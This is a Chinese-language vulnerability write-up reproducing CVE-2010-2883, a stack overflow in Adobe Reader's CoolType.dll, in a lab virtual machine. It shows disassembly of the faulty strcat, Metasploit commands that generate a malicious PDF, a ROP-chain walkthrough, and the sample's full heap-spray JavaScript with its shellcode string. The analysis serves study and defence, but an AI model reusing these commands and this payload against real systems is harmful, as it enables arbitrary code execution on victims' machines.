CVE-2010-2883 漏洞复现 分析

泉哥《漏洞战争-软件漏洞分析精要》中的第一个漏洞,栈溢出漏洞。这里跟着泉哥书里的讲解来复现这个漏洞,并理解利用原理。

简述

CVE-2010-2883是Adobe Reader和Acrobat中的CoolType.dll库在解析字体文件SING表中uniqueName项时存在的栈溢出漏洞,用户受骗打开了特制的PDF文件就有可能导致任意代码执行。

测试环境

操作系统 WidowsXP SP3 简体中文版
虚拟机 VMware Workstation 15 Pro
动态调试器 OllyDbg
反汇编器 IDA Pro
漏洞软件 Adobe Reader 9.3.4
攻击样本生成 Metasploit msf5
PDF提取 PDFStreamDumper

相关结构简介

TTF文件

TrueTypeFont是由美国苹果公司和微软公司共同开发的一种计算机轮廓字体(曲边描边字)类型标准。这种类型字体文件的扩展名是.ttf,现在很多字体已经改用OpenType格式,但是大多数免费廉价的第三方字体仍使用纯TrueType格式。

TTF 包含有一个表目录结构 TableDirectory,其中有一个 TableEntry 结构列表,而TableEntry结构包含了所指表的资源标记、校验和、偏移量和每个表的大小。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
typedef struct
{
Fixed sfntversion;
USHORT numTables;
USHORT searchRange;
USHORT entrySelector;
USHORT rangeShift;
TableEntry entries[numTables];
} TableDirectory;

typedef sturct
{
char tag[4];
ULONG checkSum;
ULONG offset;
ULONG length;
} TableEntry;

SING表结构

SING表结构如下,可见,在uniqueName字段前有6个USHORT类型和两个SHORT类型字段,因此可知uniqueName字段相对SING表起始的偏移为16字节(0x10)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct
{
USHORT tableVersionMajor;
USHORT tableVersionMinor;
USHORT glyphletVersion;
USHORT embeddinginfo;
USHORT mainGID;
USHORT unitsPerEm;
SHORT vertAdvance;
SHORT vertOrigin;
BYTE[28] uniqueName;
BYTE[16] METAMD5;
BYTE nameLength;
BYTE[] baseGlyphName;
} SINGTable;

分析漏洞函数

漏洞出现在Adobe Reader 9.3.4 的CoolType.dll中。使用IDA打开CoolType.dll。查看字符串,可找到”SING”字符串,查看交叉引用,第二个即为有漏洞的函数(这里自定义为Vulnerable)

1
2
.rdata:0819DB4C aSing           db 'SING',0             ; DATA XREF: sub_8015AD9+D2↑o
.rdata:0819DB4C ; vulnerable+7B↑o ...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
.text:0803DCF9 ; __unwind { // loc_8184A54
.text:0803DCF9 push ebp
.text:0803DCFA sub esp, 104h ; 分配栈空间0x104
.text:0803DD00 lea ebp, [esp-4]
.text:0803DD04 mov eax, ___security_cookie
.text:0803DD09 xor eax, ebp
.text:0803DD0B mov [ebp+108h+var_4], eax
.text:0803DD11 push 4Ch
.text:0803DD13 mov eax, offset loc_8184A54
.text:0803DD18 call __EH_prolog3_catch
.text:0803DD1D mov eax, [ebp+108h+arg_C]
.text:0803DD23 mov edi, [ebp+108h+arg_0]
.text:0803DD29 mov ebx, [ebp+108h+arg_4]
.text:0803DD2F mov [ebp+108h+var_130], edi
.text:0803DD32 mov [ebp+108h+var_138], eax
.text:0803DD35 call sub_804172C
.text:0803DD3A xor esi, esi
.text:0803DD3C cmp dword ptr [edi+8], 3
.text:0803DD40 ; try {
.text:0803DD40 mov [ebp+108h+var_10C], esi
.text:0803DD43 jz loc_803DF00
.text:0803DD49 mov [ebp+108h+var_124], esi
.text:0803DD4C mov [ebp+108h+var_120], esi
.text:0803DD4F cmp dword ptr [edi+0Ch], 1
.text:0803DD4F ; } // starts at 803DD40
.text:0803DD53 ; try {
.text:0803DD53 mov byte ptr [ebp+108h+var_10C], 1
.text:0803DD57 jnz loc_803DEA9
.text:0803DD5D push offset aName ; "name"
.text:0803DD62 push edi ; int
.text:0803DD63 lea ecx, [ebp+108h+var_124]
.text:0803DD66 mov [ebp+108h+var_119], 0
.text:0803DD6A call sub_80217D7
.text:0803DD6F cmp [ebp+108h+var_124], esi
.text:0803DD72 jnz short loc_803DDDD
.text:0803DD74 push offset aSing ; "SING"
.text:0803DD79 push edi ; int
.text:0803DD7A lea ecx, [ebp+108h+var_12C] ; 指向SING表入口
.text:0803DD7D call sub_8021B06 ; 处理SING表
.text:0803DD82 mov eax, [ebp+108h+var_12C] ; eax指向SING表起始地址
.text:0803DD85 cmp eax, esi
.text:0803DD85 ; } // starts at 803DD53
.text:0803DD87 ; try {
.text:0803DD87 mov byte ptr [ebp+108h+var_10C], 2
.text:0803DD8B jz short loc_803DDC4
.text:0803DD8D mov ecx, [eax] ; 字体资源版本号,这里为1.0版本
.text:0803DD8F and ecx, 0FFFFh
.text:0803DD95 jz short loc_803DD9F ; 这里跳转
.text:0803DD97 cmp ecx, 100h
.text:0803DD9D jnz short loc_803DDC0
.text:0803DD9F
.text:0803DD9F loc_803DD9F: ; CODE XREF: vulnerable+9C↑j
.text:0803DD9F add eax, 10h ; 相对sing表入口偏移0x10处找到uniqueName
.text:0803DDA2 push eax ; uniqueName域
.text:0803DDA3 lea eax, [ebp+108h+var_108]
.text:0803DDA6 push eax ; 目的地址是一段固定大小的栈空间
.text:0803DDA7 mov [ebp+108h+var_108], 0
.text:0803DDAB call strcat ; 栈溢出

触发栈溢出的是0x0803DDA8处的stracat函数。strcat函数原型如下

1
2
char *strcat(char *dest, const char *src);
从左往右第一个参数为目的地址,第二个参数为源地址

可以看到,在 使用strcat()函数将uniqueName复制到[ebp+108h+var_108]的栈空间时,并未对uniqueName字符串长度进行检测,直接将其复制到固定大小的栈上,可以造成栈溢出。

样本Exploit分析

使用msf生成漏洞利用样本

msf中使用如下命令生成PDF样本,这里生成的样本若攻击成功,将会弹出calc.exe 计算器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
msf5 > search cve-2010-2883
...
...
msf5 > use exploit/windows/fileformat/adobe_cooltype_sing
msf5 exploit(windows/fileformat/adobe_cooltype_sing) > show info
...
...
msf5 exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/exec
payload => windows/exec
msf5 exploit(windows/fileformat/adobe_cooltype_sing) > set cmd calc.exe
cmd => calc.exe
msf5 exploit(windows/fileformat/adobe_cooltype_sing) > set filename cve-2010-2883.pdf
filename => cve-2010-2883.pdf
msf5 exploit(windows/fileformat/adobe_cooltype_sing) > exploit

[*] Creating 'cve-2010-2883.pdf' file...
[+] cve-2010-2883.pdf stored at /root/.msf4/local/cve-2010-2883.pdf

漏洞利用演示

将生成的pdf文件复制到虚拟机中,先用浏览器打开,可以看到貌似是一个普通的pdf文件

然后使用存在漏洞的Adobe Reader 9.3.4打开它,如果利用成功,将会弹出计算器。

样本分析

首先使用PDFStreamDumper加载样本pdf文件。选择Search_For -> TTF Fonts,左边的Objects窗口就会将对应的object选中,点进去,如下。选中object单机右键鼠标选择“Save Decompressed Stream”选项即可保存到本地。

对照上面介绍的TableEntry结构,第一个字段是标记字符串,所以搜索“SING”字符串,即可定位到结构体,如下。可以看到检验和字段为0xD9BCC8B5,offset字段为“0x000001C”,length字段为“0x00001DDF”

offset字段表示相对文件(TTF文件)的偏移,因此,在TTF文件偏移0x11C处即可找到SING表,SING表数据长度为0x1DDF。

SING表再偏移0x10即可找到uniqueName域。执行strcat后,会将uniqueName域起始的部分复制到ebp指定的栈空间上,直至遇到NULL空字节为止。

样本动态调试分析

用OD打开Adobe Reader,在触发栈溢出漏洞的0x0803DDAB下断点。F9运行起来,将样本拖进Adobe Reader,OD就会在断点处停下(在断点前可能会有几次异常,shift+F9忽略就行了)。

strcat函数的参数如下,样本pdf的uniqueName字段的内容将会被复制到0x0012E468起始的栈空间上。

执行完strcat后,在数据窗口中跟随0x0012E468,对刚才复制进去的内容下内存访问断点

执行下去将看到如下指令

可以看到,EAX寄存器中的地址0x0012e6d0正是位于上面复制进栈中的样本数据payload的地址空间中的,而0x0012e6d0里存储的值为0x4A80CB38,那么接下来程序就会开始执行0x4A80CB38处的代码。样本payload正是通过这个call [EAX]指令开始控制程序的执行流程进行ROP的。而0x4A80CB38地址位于icucnv36.dll模块中。该位置指令如下:

ROP指令1

执行add ebpleave指令后,ESP的值变为0x12E4E0,可以看到此时的栈顶已经落在payload中了,栈顶数据为payload中写好的0x4A82A714,这个地址同样位于icucnv36.dll模块中。

此时return,即可返回到payload中写好的地址0x4A82A714,然后开始ROP。利用0x4A82A714地址处的pop esp这个gadget,将栈迁移到payload中写好的0x0C0C0C0C

ROP指令2

此时,栈中的数据即为利用Heap Spary写在堆中的shellcode。HeapSpary是通过嵌入到pdf中的javascript实现的。以下是从PDF中解压出来并经过还原的JavaScript代码。

1
2
3
4
5
6
7
8
9
10
11
12
var unescape_funciton = unescape;
var shellcode = unescape_funciton('%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%uc8da%u74d9%uf424%u315b%ub1c9%uba31%ufab4%udcb6%u5331%u8318%u04c3%u5303%u18a0%u2043%u5e20%ud9ac%u3fb0%u3c24%u7f81%u3452%u4fb1%u1810%u3b3d%u8974%u49b6%ube51%ue77f%uf187%u5480%u90fb%ua702%u7328%u683b%u723d%u957c%u26cc%ud1d5%ud763%uaf52%u5cbf%u2128%u81b8%u40f8%u17e9%u1b73%u9929%u1750%u8160%u12b5%u3a3a%ue80d%ueabd%u115c%ud311%ue051%u136b%u1b55%u6d1e%ua6a6%uaa19%u7cd5%u29af%uf67d%u9617%udb7c%u5dce%u9072%u3a85%u2796%u3149%uaca2%u966c%uf623%u324a%uac68%u63f3%u03d4%u730b%ufcb7%uffa9%ue855%u5dc3%uef33%ud856%uef71%ue368%u9825%u6859%udfaa%ubb65%u108f%ue62c%ub8b9%u72e9%ua4f8%ua909%ud13e%u5889%u26be%u2891%u63bb%uc015%ufcb1%ue6f0%ufc66%u84d0%u6ee9%u64b8%u168c%u795b');
var block = unescape_funciton("%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c");
while (block.length + 20 + 8 < 65536) block += block;
SP = block.substring(0, (0x0c0c - 0x24) / 2);
SP += shellcode;
SP += block;
slackspace = SP.substring(0, 65536 / 2);
while (slackspace.length < 0x80000) slackspace += slackspace;
bigblock = slackspace.substring(0, 0x80000 - (0x1020 - 0x08) / 2);
var memory = new Array();
for (count = 0; count < 0x1f0; count++) memory[count] = bigblock + "s";

代码大概的意思就是按照固定对齐的大小,循环创建堆块,堆块内容为有效shellcode加padding填充,最后由于构造好的填充对齐之类的,在0x0C0C0C0C这个地址一定会是某个堆块中的shellcode起始。这样,就可以准确的跳进shellcode中执行写好的ROP指令。

接着ROP指令2,retn后依次执行以下ROP指令

ROP指令3

ROP指令4

ROP指令5

如上,ROP指令5将CreateFileA函数的地址pop到了eax寄存器中,然后接下来retn后执行jmp [eax]指令跳转到CreateFileA函数中。跳转时,栈中的参数值如下所示。根据参数定义,这样子会创建一个名为iso88591的文件。

CreateFileA函数返回后,又通过同样的方式构造ROP指令来调用CreateFileMapping函数,创建文件内存映射,调用CreateFileMapping函数时的栈中参数如下:

同样方式继续调用MapViewOfFile函数

最后通过类似的方式调用memcpy函数,其中,目的地址就是前面MapViewOfFile函数返回的地址,而源地址就是真正的Shellcode代码。

总结以上ROP过程。

  • 使用CreateFileA函数和CreateFileMapping函数获得一个具有可读写可执行权限的文件对象的句柄
  • 使用MapViewOfFile函数将该文件对象映射到进程地址
  • 使用memcpy函数将Shellcode复制到MapViewOfFile函数返回的一段可读可写可执行的内存段,这样就可以绕过DEP保护,从而可以执行Shellcode。

同时,构造ROP链中用到的gadget指令均位于不受ASLR保护的icucnv36.dll模块,因此也可以顺利绕过ASLR执行ROP链。

memcpy函数retn时,栈顶的值就是刚才复制的目的地址,这样就会retn到shellcode中,执行shellcode了!

样本Exploit技术总结

概括一下这个样本中的Exploit技术。

  • 通过strcat函数造成栈溢出
  • 通过接下来的在函数return前的call [EAX]使程序进入第一条ROP指令,从而绕过GS保护成功控制执行流
  • 然后gadget,将栈迁移到堆喷射构造出来的0x0C0C0C0C开始更长功能更强大的ROP(为什么不在上面的原始栈上直接完整ROP呢?应该是原始栈上的可用的空间不够,因此要迁移到堆上进行完整的ROP)
  • 通过ROP,将真正的Shellcode复制进一段具有可读可写可执行权限的内存中,进而绕过DEP保护成功执行Shellcode。
  • 以上ROP中用到的gadget都是icucnv36.dll模块,而这个模块是没有开启ASLR保护的,这也是ROP得以成功运行的关键。

漏洞修复

官方的修复中,添加了对字符串长度的检测和控制,并使用strncat代替原先的strcat,同时根据字符串长度大小动态分配空间。

0%